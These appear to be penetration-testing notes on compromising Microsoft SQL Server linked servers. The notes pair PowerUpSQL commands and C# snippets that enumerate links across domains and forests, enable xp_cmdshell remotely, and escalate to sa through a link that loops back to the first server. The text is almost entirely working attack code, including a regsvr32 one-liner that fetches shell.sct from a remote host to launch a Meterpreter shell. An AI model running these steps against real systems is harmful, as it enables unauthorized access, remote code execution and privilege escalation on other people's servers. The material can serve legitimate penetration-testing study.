Get-SqlServerLinkCrawl -Verbose -Instance SQLSERVER1\Instance1
#to find login account for EXEC AS LOGIN
Get-SqlServerLinkCrawl -Verbose -Instance SQLSERVER1\Instance1 -Query "select * from master..syslogins" | ft
insert into Main
// Enumerate linked servers (see other server instance name)
String res = executeQuery("EXEC sp_linkedservers;", con);
Console.WriteLine($"[*] Found linked servers: {res}");
May also found links in other forest, then compromise with the same way.
enum across trusted domain: setspn -T corp1 -Q MSSQLSvc/*
enum across trusted forest: setspn -T corp2.com -Q MSSQLSvc/*
insert into Main
// in compromised SQL server, execute on target linked server & check login context
String linktarget = "Instance2";
String login = executeQuery($"EXEC (SELECT SYSTEM_USER;) AT {linktarget};", con);
Console.WriteLine($"[*] Logged in as: {login} on {linktarget}");
String uname = executeQuery($"EXEC (SELECT USER_NAME();) AT {linktarget};", con);
Console.WriteLine($"[*] Database username: {uname} on {linktarget}");
getGroupMembership("public", con);
getGroupMembership("sysadmin", con);
It is possible that we can logon as privileged user on another server even we are having low privilege on the original server. Try Impersonating using the info from the output in the beginning if not.
Command Execution
with PowerUpSQL
Get-SQLServerLinkCrawl -instance "SQLSERVER1\Instance1" -Query "exec master..xp_cmdshell 'whoami'" | ft
insert into Main
// Execution on linked server
String linktarget = "Instance2";
//String res = executeQuery($"EXEC ('EXECUTE AS LOGIN = ''sa_svc''; sp_configure ''show advanced options'', 1; reconfigure;') AT {linktarget};", con);
String res = executeQuery($"EXEC ('sp_configure ''show advanced options'', 1; reconfigure;') AT {linktarget};", con);
Console.WriteLine($"[*] Enabled advanced options on {linktarget}.");
//res = executeQuery($"EXEC ('EXECUTE AS LOGIN = ''sa_svc''; sp_configure ''xp_cmdshell'', 1; reconfigure;') AT {linktarget};", con);
res = executeQuery($"EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT {linktarget};", con);
Console.WriteLine($"[*] Enabled xp_cmdshell option on {linktarget}.");
String cmd = "powershell -enc ";
res = executeQuery($"EXEC ('xp_cmdshell ''{cmd}'';') AT {linktarget};", con);
Console.WriteLine($"[*] Triggered command. Result: {res}");
using openquery
// Execute on linked server via 'openquery'
String linktarget = "Instance2";
String res = executeQuery($"select 1 from openquery(\"{linktarget}\", 'select 1; EXEC sp_configure ''show advanced options'', 1; reconfigure')", con);
Console.WriteLine($"[*] Enabled advanced options on {linktarget}.");
res = executeQuery($"select 1 from openquery(\"{linktarget}\", 'select 1; EXEC sp_configure ''xp_cmdshell'', 1; reconfigure')", con);
Console.WriteLine($"[*] Enabled xp_cmdshell options on {linktarget}.");
res = executeQuery($"select 1 from openquery(\"{linktarget}\", 'select 1; exec xp_cmdshell ''regsvr32 /s /n /u /i:http://192.168.119.120/shell.sct scrobj.dll''')", con);
Console.WriteLine($"[*] Triggered Meterpreter oneliner on {linktarget}. Check your listener!");
Privilege Escalation on the local server via bidirectional link
When the link from instance 1 to instance 2 has sa security context, and instance 2 has a link to instance 1, we could follow the link to instance 2 to obtain the sa login context and return back over the link to instance 1. Use when no other privilege escalation paths on the local server.
insert into Main
// Escalate via double database linkedString
String su = executeQuery("SELECT SYSTEM_USER;", con);
String localser = "Instance1";
String linktarget = "Instance2";
Console.WriteLine($"[*] Current system user is '{su}' in {localser} database.");
su = executeQuery($"select mylogin from openquery(\"{linktarget}\", 'select SYSTEM_USER as mylogin');", con);
Console.WriteLine($"[*] Current system user is '{su}' in database '{linktarget}' via 1 link.");
su = executeQuery($"select mylogin from openquery(\"{linktarget}\", 'select mylogin from openquery(\"{localser}\", ''select SYSTEM_USER as mylogin'');');", con);
Console.WriteLine($"[*] Current system user is '{su}' in database '{localser}' via 2 links.");
String res = executeQuery($"EXEC ('EXEC (''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT {localser};') AT {linktarget};", con);
Console.WriteLine($"[*] Enabled advanced options on {localser} via link back from {linktarget}.");
res = executeQuery($"EXEC ('EXEC (''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT {localser};') AT {linktarget};", con);
Console.WriteLine($"[*] Enabled xp_cmdshell option on {localser} via link back from {linktarget}.");
String cmd = "regsvr32 /s /n /u /i:http://192.168.119.120/shell.sct scrobj.dll";
res = executeQuery($"EXEC ('EXEC (''xp_cmdshell ''''{cmd}'''' ;'') AT {localser};') AT {linktarget};", con);
Console.WriteLine($"[*] Triggered command. Result: {res}");
While Microsoft documentation specifies that execution of stored procedures is not supported on linked SQL servers with the OPENQUERY keyword, it is actually possible.